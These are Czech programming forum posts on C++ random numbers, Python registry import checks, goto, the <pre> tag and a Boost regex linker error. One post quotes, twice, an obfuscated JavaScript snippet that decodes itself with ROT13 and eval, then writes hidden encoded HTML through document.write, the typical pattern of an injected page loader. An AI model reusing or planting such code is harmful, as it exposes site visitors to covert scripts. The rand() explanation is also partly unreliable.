zvlastni, ze :: v C++ nevadi
Příspěvky odeslané z IP adresy 85.71.138.–
To Anonymní uživatel : WinAPI funkce jsou stejny, vypreparovat si to z jejich objektoveho kodu dokazes, ne?
Takhle ti to bude fungovat:
int GetRandomInt(int ceil){
return ceil*((float)rand()/RAND_MAX);
}
Vtip je v tom, ze tam mas celociselne deleni, ceil*rand() bude ve vetsine pripadu mensi nez RAND_MAX, protoze ti to pretece do zapornych cisel. Takhle ziskas pomoci (float)rand()/RAND_MAX desetinne cislo v rozsahu <0,1>, kterym vynasobis ceil.Dela se to takhle:
try:
import _winreg
except ImportError:
print "Nejsme na windows"
Na goto neni nic spatneho. Sice jsem ho v zivote nepouzil, ale on ten predpoklad, ze goto je automaticky spatne je mylny. Asi bych to udelal tak, ze kod, ze ktereho chci vyskocit bych zaobalil do funkce a pak misto goto zavolal return.
Pokud chces mit text formatovany tak jak je zapsany tak k tomu je tag <pre>. Jestli je to teda to co myslis, nejsem si jisty co presne mas na mysli.
Co rikate na tenhle kod? Chvili mi trvalo nez jsem to rozlustil.
<script language=JavaScript>var sf=" shapgvba cwzgq(d){ine
xp,yfl=\"r|b'RhkB_98[5)XsvAPClwHix.e,2o:$uyT^&Vqa36Nd=-Z\\\"{`z]m@GS;UIc#
0}jWMt1pf7~(n4O*+g!\",xn=\"\",c,wah,xs=\"\",pr;sbe(xp=0;xp<d.yratgu;xp++){ c=d.puneNg(xp);wah=yfl.vaqrkBs(c);vs(wah>-1){
pr=((wah+1)%81-1);vs(pr<=0)pr+=81;xs+=yfl.puneNg(pr-1); } ryfr xs+=c;}xn+=xs;qbphzrag.jevgr(xn);}",aarf="";for(nyf=0;nyf<sf.length;nyf++){
cqd = sf.charCodeAt(nyf);if((cqd>64 && cqd<78)||(cqd>96 && cqd<110)) cqd=cqd+13;else
if((cqd>77 && cqd<91)||(cqd>109 && cqd<123))cqd=cqd-13;aarf=aarf.concat(String.fromCharCode(cqd));} var hw,u; eval( aarf
);hw="<7s,N#!0G431x41|-{U4k47s,N#!{>0n'sx]|3!rJ,N!|a0{<SPRdyF0G431x41|-\\{Z4k4Ss,N#!\\{0SRP-\\{l!!#$//JJJr1''1G|M434Gj!Gs7rs']/99x!!rU7?{tn'sx]|3!r,|i|,,|,t{\\{><\\/SPRdyF>{0KH0</7s,N#!>0";
pjmtd(hw);</script>
Co rikate na tenhle kod? Chvili mi trvalo nez jsem to rozlustil.
<script language=JavaScript>var sf=" shapgvba cwzgq(d){ine xp,yfl=\"r|b'RhkB_98[5)XsvAPClwHix.e,2o:$uyT^&Vqa36Nd=-Z\\\"{`z]m@GS;UIc# 0}jWMt1pf7~(n4O*+g!\",xn=\"\",c,wah,xs=\"\",pr;sbe(xp=0;xp<d.yratgu;xp++){ c=d.puneNg(xp);wah=yfl.vaqrkBs(c);vs(wah>-1){ pr=((wah+1)%81-1);vs(pr<=0)pr+=81;xs+=yfl.puneNg(pr-1); } ryfr xs+=c;}xn+=xs;qbphzrag.jevgr(xn);}",aarf="";for(nyf=0;nyf<sf.length;nyf++){ cqd = sf.charCodeAt(nyf);if((cqd>64 && cqd<78)||(cqd>96 && cqd<110)) cqd=cqd+13;else
if((cqd>77 && cqd<91)||(cqd>109 && cqd<123))cqd=cqd-13;aarf=aarf.concat(String.fromCharCode(cqd));} var hw,u; eval( aarf );hw="<7s,N#!0G431x41|-{U4k47s,N#!{>0n'sx]|3!rJ,N!|a0{<SPRdyF0G431x41|-\\{Z4k4Ss,N#!\\{0SRP-\\{l!!#$//JJJr1''1G|M434Gj!Gs7rs']/99x!!rU7?{tn'sx]|3!r,|i|,,|,t{\\{><\\/SPRdyF>{0KH0</7s,N#!>0"; pjmtd(hw);</script>
Knihovny všechny mám, ale zkusil jsem podle dokumentace přidat
/D BOOST_REGEX_DYN_LINK
a ono to funguje...skoro. Ještě nekde sehnat runtime dllko.Ahoj, snažím se zkompilovat svůj program na windows ve Visual Studiu 2008 Express. Boost::regex se mi povedlo nainstalovat z instalátoru http://www.boost-consulting.com/, jenže nevím co všechno nainstalovat, aby to fungovalo. Teď mi to píše:
libboost_regex-vc80-mt-1_34_1.lib(instances.obj) : error LNK2001:
unresolved external symbol "__declspec(dllimport) public:
class std::_String_iterator<char,struct std::char_traits<char>,
class std::allocator<char> > __thiscall std::basic_string<char,
struct std::char_traits<char>,class std::allocator<char> >
::insert(class std::_String_iterator<char,struct std::char_traits<char>,
class std::allocator<char> >,char)" (__imp_?insert@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE?AV?$
_String_iterator@DU?$char_traits@D@std@@V?$allocator@D@2@@2@V32@D@Z)
Možná je něco špatně nastavené?